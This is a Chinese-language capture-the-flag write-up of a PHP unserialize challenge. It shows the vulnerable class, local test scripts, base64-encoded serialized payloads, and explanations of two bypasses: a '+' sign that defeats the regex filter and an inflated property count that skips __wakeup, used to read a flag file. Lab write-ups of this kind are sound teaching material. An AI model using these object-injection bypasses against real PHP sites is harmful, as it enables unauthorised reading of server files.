Web_php_unserialize
题目源码：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
在Demo函数里又看见了wakeup函数，应该会涉及到反序列化
看到下面的if判断语句，他先判断了，是否有var这个参数，如果有就将他base64解码，然后将解码后的值做正则匹配
正则匹配条件分析：/[oc]:\d+:/i
oc：代表这块区域用来匹配o或者c
\d：代表一个数字字符
+：代表可以匹配多次
/i：匹配时不区分大小写
总结下来他匹配的对象大概张这样：
o:4: (两个冒号之间为数字，第一个冒号前面为o或者c的大小写)
这里看判断条件，一旦正则匹配上了，程序就会停止，所以我们只能走下面的那个else条件，else中给了一个unserialize()，这个就是反序列化的操作，他的反向操作是serialize()
上面那个wakeup()函数在调用反序列化的操作时会首先执行,他的执行条件是判断file参数值是否为index.php，如果不是则换成他，并且他在里面提示了fl4g.php文件，那我们的目的应该就是访问这个fl4g文件，可是我们的文件名一旦不为index时，便会强制替换为index，所以分析到这里就知道，应该去使用上次我们利用的那个绕过wakeup函数的方法。
在本地搭建环境
将Demo函数复制过来
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('1.php');
$b = serialize($a);
echo "</br>";
print_r($b);
?>
运行结果：
O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php
echo "这是1.php文件";
?>
可以看到结果中已经将1.php文件的代码高亮显示。
其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}这个是对象a序列化后的结果，后面的1.php就是我们要访问的内容。
ps：这里可以发现wakeup中的内容并没有执行，这是因为这个wakeup只有在调用unserialize函数时才会执行，
__construct($file)：这个函数会在构造函数时读入一个值做参数
__destruct()：这个函数会在程序销毁时执行（有点像C++中的析构函数）
这里我卡了很久，无论我怎么改，都没办法修改这个对象的属性值，后来发现不是无法修改，而是他没执行构造函数，所以导致这个文件名并没有读入，然后我就去研究为什么这个构造函数没有执行。
这里算是踩了个坑啊，回头检查可以发现，10后面对应的那个值：Demofile，这里明明只有8个字符，何来10个字符？（这是php执行给的结果，所以这肯定不会是错的）
查阅资料后知道，private属性被序列化的时候属性值会变成\x00类名\x00属性名，其中：\x00表示空字符，但是还是占用一个字符位置，这就是为什么上面serialize($a)执行后的序列化字符串中属性file变成Demofile，长度为10。
修改代码，证明结论：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "构造函数执行！！";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "析构函数执行！！";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php';
}
}
}
$a = new Demo('1.php');
$b = base64_encode(serialize($a));
echo "</br>";
print_r($b);
echo "</br>";
$c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//将序列化后的值直接复制过来
print_r(base64_encode($c));
//@unserialize($c);
?>
结果：
构造函数执行！！
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php
echo "这是1.php文件";
?> 析构函数执行！！
可以明显的看到，两次的base64编码有差异，可以证明浏览器将这个\x00给干掉了，这一点，不细细观察真的感觉不出来。
那这一题就不能简单复制粘贴了，需要用到16进制编辑器将浏览器给过滤掉的东西补回去。
这里burpsuite可以很方便的实现，所以直接上工具！
将内容复制进decoder模块，然后点击hex，转为16进制，我们需要在少内容的地方将那两个空字符补上，根据\x00类名\x00属性名，可以知道，我们应该在D的前面和f的前面添加上这两个空字符。
这里的44代表D，66代表f
添加完后将其base64编码，不然浏览器又会把他干掉了，再次修改代码，测试能否执行：
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "构造函数执行！！";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "析构函数执行！！";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php'; //先注释掉这块，主要测试构造函数
}
}
}
$c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9';
//print_r(base64_encode($c));
$d = base64_decode($c);
@unserialize($d);
?>
运行结果：
<?php
echo "这是1.php文件";
?> 析构函数执行！！
看到效果了，执行成功了，但是可以观察到的是，构造函数依旧没有执行，这说明在反序列化的过程中，并没有涉及到这一步。
知道了这么多东西，就可以回来看题目了，但题目中还有一个条件是，参数中不能包含数字，由于序列化后的字符串是包含数字的，所以这又该怎么过？
这里绕过数字，其实质也是绕过preg_match()函数，那这就又需要上网搜集知识点了
其中+号可以实现绕过（+号代表空格）
其他的可能绕过的方法：
-
true可以代替数字1
PHP中true为弱类型，true+true的值为2
-
异或法可以替代一些内容
str = r"~!@#$%^&*()_+<>?,.;:-[]{}/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
这里肯定是选最简单的加号绕过
中间那个2就不重复解释了，wakeup的漏洞，编码后提交即可得到flag！
终于做完了@_@
